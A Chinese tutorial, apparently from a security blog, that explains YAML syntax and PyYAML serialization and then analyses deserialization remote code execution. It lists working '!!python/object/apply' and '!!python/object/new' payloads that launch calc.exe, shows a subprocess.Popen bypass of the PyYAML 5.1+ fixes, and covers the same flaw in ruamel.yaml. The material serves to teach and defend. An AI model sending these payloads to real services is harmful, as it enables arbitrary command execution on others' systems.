YAML是一种直观的能够被电脑识别的的数据序列化格式,容易被人类阅读,并且容易和脚本语言交互,YAML类似于XML,但是语法比XML简单得多,对于转化成数组或可以hash的数据时是很简单有效的。
yaml中支持映射或字典的表示,如下:
# 下面格式读到Python里会是个dict name: Al1ex age: 0 job: Tester
输出结果:
{'name': 'Al1ex', 'age': 0, 'job': 'Tester'}
yaml中支持列表或数组的表示,如下:
# 下面格式读到Python里会是个list - Al1ex - 0 - Tester
输出结果:
字典和列表可以复合起来使用,如下:
# 下面格式读到Python里是个list里包含dict - name: Al1ex age: 0 job: Tester - name: James age: 30
输出结果:
[{'name': 'Al1ex', 'age': 0, 'job': 'Tester'}, {'name': 'James', 'age': 30}]
yaml中有以下基本类型:
我们写个例子来看下:
# 这个例子输出一个字典,其中value包括所有基本类型 str: "Hello World!" int: 110 float: 3.141 boolean: true # or false None: null # 也可以用 ~ 号来表示 null time: 2020-06-20t11:43:30.20+08:00 # ISO8601,写法百度 date: 2020-06-20 # 同样ISO8601
输出结果:
{'str': 'Hello World!', 'int': 110, 'float': 3.141, 'boolean': True, 'None': None,'time':datetime.datetime(2020, 6, 20, 0, 28, 20, 44000), 'date': datetime.date(2020, 6, 20)}
& 和 * 用于引用示例:
name: &name Al1ex tester: *name
这个相当于以下脚本:
name: Al1ex tester: Al1ex
输出结果:
{'name': 'Al1ex', 'tester': 'Al1ex'}
yaml是可以进行强制转换的,用 !! 实现,如下
str: !!str 3.14 int: !!int "123"
输出结果:
{'int': 123, 'str': '3.14'}
明显能够看出字符串类型的123被强转成了int类型,而float型的3.14则被强转成了str型
在同一个yaml文件中,可以用 — 来分段,这样可以将多个文档写在一个文件中
--- name: James age: 20 --- name: Lily age: 19
yaml.YAMLObject用元类来注册一个构造器(也就是代码里的init() 方法),让你把yaml节点转为Python对象实例,用表示器(也就是代码里的 repr() 函数)来让你把Python对象转为yaml节点,看代码:
import yaml class Person(yaml.YAMLObject): yaml_tag = '!person' def __init__(self, name, age): self.name = name self.age = age def __repr__(self): return '%s(name=%s, age=%d)' % (self.__class__.__name__, self.name, self.age) james = Person('James', 20) print (yaml.dump(james)) # Python对象实例转为yaml lily = yaml.load('!person {name: Lily, age: 19}') print (lily) # yaml转为Python对象实例
输出结果:
!person {age: 20, name: James} Person(name=Lily, age=19)
你可能在使用过程中并不想通过上面这种元类的方式,而是想定义正常的类,那么,可以用这两种方法:
import yaml class Person(object): def __init__(self, name, age): self.name = name self.age = age def __repr__(self): return 'Person(%s, %s)' % (self.name, self.age) james = Person('James', 20) print (yaml.dump(james)) # 没加表示器之前 def person_repr(dumper, data): return dumper.represent_mapping(u'!person', {"name": data.name, "age": data.age}) # mapping表示器,用于dict yaml.add_representer(Person, person_repr) # 用add_representer方法为对象添加表示器 print (yaml.dump(james)) # 加了表示器之后 def person_cons(loader, node): value = loader.construct_mapping(node) # mapping构造器,用于dict name = value['name'] age = value['age'] return Person(name, age) yaml.add_constructor(u'!person', person_cons) # 用add_constructor方法为指定yaml标签添加构造器 lily = yaml.load('!person {name: Lily, age: 19}') print (lily)
输出结果:
!!python/object:__main__.Person {age: 20, name: James} !person {age: 20, name: James} Person(Lily, 19)
第一行是没加表示器之前,中间那行是加了表示器之后,变成了规范的格式,下面添加了构造器,能够把 !person 标签转化为Person对象~
yaml是一种很清晰、简洁的格式,跟Python非常合拍,非常容易操作,我们在搭建自动化测试框架的时候,可以采用yaml作为配置文件,或者用例文件,下面给出一个用例的示例:
# Test using included Django test app # First install python-django # Then launch the app in another terminal by doing # cd testapp # python manage.py testserver test_data.json # Once launched, tests can be executed via: # python resttest.py http://localhost:8000 miniapp-test.yaml --- - config: - testset: "Tests using test app" - test: # create entity - name: "Basic get" - url: "/api/person/" - test: # create entity - name: "Get single person" - url: "/api/person/1/" - test: # create entity - name: "Get single person" - url: "/api/person/1/" - method: 'DELETE' - test: # create entity by PUT - name: "Create/update person" - url: "/api/person/1/" - method: "PUT" - body: '{"first_name": "Gaius","id": 1,"last_name": "Baltar","login": "gbaltar"}' - headers: {'Content-Type': 'application/json'} - test: # create entity by POST - name: "Create person" - url: "/api/person/" - method: "POST" - body: '{"first_name": "Willim","last_name": "Adama","login": "theadmiral"}' - headers: {Content-Type: application/json}
我们先创建一个yml文件,config.yml:
name: Tom Smith age: 37 spouse: name: Jane Smith age: 25 children: - name: Jimmy Smith age: 15 - name1: Jenny Smith age1: 12
之后使用以下python代码读取yml文件:
import yaml f = open('config.yml','r') y = yaml.load(f) print (y)
执行结果如下:
如果string或文件包含几块yaml文档,你可以使用yaml.load_all来解析全部的文档,例如:
import yaml aproject = {'name': 'Silenthand Olleander', 'race': 'Human', 'traits': ['ONE_HAND', 'ONE_EYE'] } print(yaml.dump(aproject,))
运行结果如下所示:
yaml.dump接收的第二个参数一定要是一个打开的文本文件或二进制文件,yaml.dump会把生成的yaml文档写到文件里,例如:
Al1ex.yml文档内容如下所示:
yaml.dump_all():多个段输出到一个文件
import yaml obj1 = {"name": "James", "age": 20} obj2 = ["Lily", 19] with open('yaml_dump_all.yml', 'w') as f: yaml.dump_all([obj1, obj2], f)
yaml_dump_all.yml文件内容如下所示:
这里使用PyYAML==4.2b4进程测试,PyYAML历史版本可以参考:https://pypi.org/project/PyYAML/#history
在PyYAML 5.1版本之前我们有以下反序列化方法:
这里编写一个简单的Demo,首先,我们使用yaml_test.py来创建一个poc对象,之后再调用yaml.dump()将其序列化为一个字符串,其中第10行代码主要用于将默认的"main"替换为该文件名"yamltest",这样做的目的是为了后面yaml.load()反序列化该字符串的时候会根据yaml文件中的指引去读取yaml test.py中的poc这个类,否则无法正确执行,下面运行该yaml_test.py来生成simple.yml文件(第一次运行时会调用init所以会执行一次calc.exe):
simple.yml文件内容如下所示:
之后构建yaml_verify.py,并通过yaml.load()读取目标yaml文件,之后"!!python/object"标签解析其中的名为yaml_test的module中的poc类,最后执行了该类对象的init()方法从而执行了命令:
通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看PyYAML源码可以得到其针对Python语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
下面跟进到$PYTHON_HOME/lib/site-packages/yaml/constructor.py中查看一下这三个特殊的Python标签源码:
从上面的代码中可以看到" !!python/object/new " 标签的代码实现其实就是" !!python/object/apply "标签的代码实现,只是最后newobj参数值不同而已,其次可以看到的是这3个Python标签中都是调用了make_python_instance()函数,之后查看该函数
从上述代码中可以看到,该函数会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令~
经过上面的了解与验证,我们知道只要存在yaml.load()且参数可控,则可以利用yaml反序列化漏洞,下面为常用的Payload:
!!python/object/apply:os.system ["calc.exe"] !!python/object/new:os.system ["calc.exe"] !!python/object/new:subprocess.check_output [["calc.exe"]] !!python/object/apply:subprocess.check_output [["calc.exe"]]
在PyYAML>=5.1版本中有两个补丁限制了反序列化内置类方法以及导入并使用不存在的反序列化代码:
Path 1:
Path 2:
这里使用最新的PyYAML版本进行本地测试:
在PyYAML>=5.1版本中,提供了以下方法:
在5.1之后,使用load()进行序列化操作时我们需要在方法里面加一个loader的请求参数,直接使用load请求时会显示以下warning,默认FullLoader:
import yaml f = open('config.yml','r') y = yaml.load(f) print(y)
此时,我们需要增加一个loader请求参数:
import yaml f = open('config.yml','r') y = yaml.load(f,Loader=yaml.FullLoader) print(y)
针对不同的需要,加载器有如下几种类型:
我们在YAML 5.3.1版本中使用之前的Payload发现已无法实现RCE了,通用的POC不再有效:
针对之前的Path1和Path2,我们可以使用subprocess.Popen来绕过,subprocess意在替代其他几个老的模块或者函数,比如:os.system os.spawn os.popen popen2. commands.,而subprocess模块定义了一个类:Popen
class subprocess.Popen( args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
各参数含义如下:
下面进行简单测试:
Example 1
from yaml import * data = b"""!!python/object/apply:subprocess.Popen - calc""" deserialized_data = load(data, Loader=Loader) # deserializing data print(deserialized_data)
Example 2
from yaml import * data = b"""!!python/object/apply:subprocess.Popen - calc""" deserialized_data = unsafe_load(data) # deserializing data print(deserialized_data)
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
ruamel.yaml的API文档:https://yaml.readthedocs.io/en/latest/overview.html
若要在ruamel.yaml中反序列化带参数的序列化类方法,我们有以下方法:
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行:
从上面可以看到命令被成功执行,由此可见当使用ruamel.yaml.load()处理用户提供的参数时,易受RCE攻击~
在处理YAML数据的过程中,可以使用以下函数来反序列化数据,避免RCE:
要序列化数据,可以使用下面的安全函数:
https://www.cnblogs.com/klb561/p/9326677.html
http://www.polaris-lab.com/index.php/archives/375/
https://dl.packetstormsecurity.net/papers/general/yaml-deserialization.pdf